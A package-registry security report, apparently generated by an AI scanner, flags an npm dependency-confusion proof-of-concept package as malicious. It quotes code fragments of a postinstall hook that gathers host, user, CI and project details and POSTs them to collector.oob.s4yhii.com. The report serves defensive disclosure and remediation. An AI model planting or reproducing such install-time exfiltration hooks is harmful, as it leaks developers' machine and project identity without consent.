registry / Data exfiltration / @s4yhiitestpoc/r3-https / 1.0.0

@s4yhiitestpoc/r3-https@1.0.0

Round-3 sample: install fingerprint plus consuming-project identity and CI markers by name only.

AI Security Review

scanned 12d ago · by lpm-firewall-ai

The package has an automatic postinstall hook that collects detailed build-host and consumer-project metadata and transmits it to an external collector. This is concrete installation-time data exfiltration, so the package should be blocked.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review

Trigger

Installing the package with lifecycle scripts enabled.

Impact

The collector receives identifying information about the build environment and consuming project.

Mechanism

The postinstall script gathers host and project metadata, serializes it, and sends it in an HTTPS POST; it also performs a package-labeled DNS lookup.

Attack narrative

On installation, the postinstall hook gathers environment and consumer-project identifiers alongside host, user, and network details, then sends them to collector.oob.s4yhii.com. This is active collection and transmission, rather than an inert payload.

AI rationale

Evidence

package.jsonpostinstall.js

Network endpoints1

collector.oob.s4yhii.com

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package runs postinstall.js automatically during installation.
The lifecycle script builds a report containing package, npm, CI, consuming-project, host, user, network-interface, and system details.
The script sends the report by HTTPS POST to collector.oob.s4yhii.com and also makes a DNS lookup to that domain.

Evidence against

Behavioral surface

Source

EnvironmentVarsFilesystemNetwork

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 7.23 KB of source

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node ./postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node ./postinstall.js" }, "files": ["README.md", "index.js", "postinstall.js"] }

High

Suspicious Lifecycle Evidence

The package runs postinstall.js automatically during installation.

package.jsonView on unpkg · L7

•scripts.postinstall = node ./postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

17const fs = require("fs"); L18: const dns = require("dns"); L19: const path = require("path"); ... L24: "npm_command", L25: "npm[redacted]", L26: "npm[redacted]", L27: "npm[redacted]", L28: "npm[redacted]", L29: "npm[redacted]", ... L47: try { L48: pkg = require("./package.json"); L49: } catch (e) {

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

postinstall.jsView on unpkg · L17

•matchType = normalized_sha256 matchedPackage = @coopeuch/core@1.999.999 matchedPath = postinstall.js matchedIdentity = npm:QGNvb3BldWNoL2NvcmU:1.999.999 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

postinstall.jsView on unpkg

130const report = { poc: "dependency-confusion-proof", round: 3, contact: "s4yhii__ (npm) - coordinated vulnerability disclosure", package: pkg.name, version: pkg.version,

High

Suspicious Lifecycle Evidence

The lifecycle script builds a report containing package, npm, CI, consuming-project, host, user, network-interface, and system details.

postinstall.jsView on unpkg · L130

143hostname: os.hostname(), username: os.userInfo().username, uid: typeof process.getuid === "function" ? process.getuid() : null, gid: typeof process.getgid === "function" ? pr

High

Suspicious Lifecycle Evidence

The lifecycle script builds a report containing package, npm, CI, consuming-project, host, user, network-interface, and system details.

postinstall.jsView on unpkg · L143

187hostname: "collector.oob.s4yhii.com", port: 443, path: "/_npm-poc/beacon", method: "POST", timeout: 5000, headers: { "Content-Type": "applicat

High

Ai Review Evidence

The script sends the report by HTTPS POST to collector.oob.s4yhii.com and also makes a DNS lookup to that domain.

postinstall.jsView on unpkg · L187

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node ./postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node ./postinstall.js" }, "files": ["README.md", "index.js", "postinstall.js"] }

High

Suspicious Lifecycle Evidence

The package runs postinstall.js automatically during installation.

package.jsonView on unpkg · L7

•scripts.postinstall = node ./postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

Findings

7 High3 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationpostinstall.js

HighKnown Malware Source Similaritypostinstall.js

HighSuspicious Lifecycle Evidencepackage.json

HighSuspicious Lifecycle Evidencepostinstall.js

HighAi Review Evidencepostinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowFilesystem

Affected versions and remediation

This report applies to @s4yhiitestpoc/r3-https@1.0.0.

See all versions of @s4yhiitestpoc/r3-https for other recorded verdicts.

Avoid installing @s4yhiitestpoc/r3-https@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-13 23:45:04.806Z (UTC).

Source advisory published: 2026-10-11 13:58:31.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

More from @s4yhiitestpoc

Other data exfiltration packages

Related packages

More from @s4yhiitestpoc

Other data exfiltration packages

Source & flagged code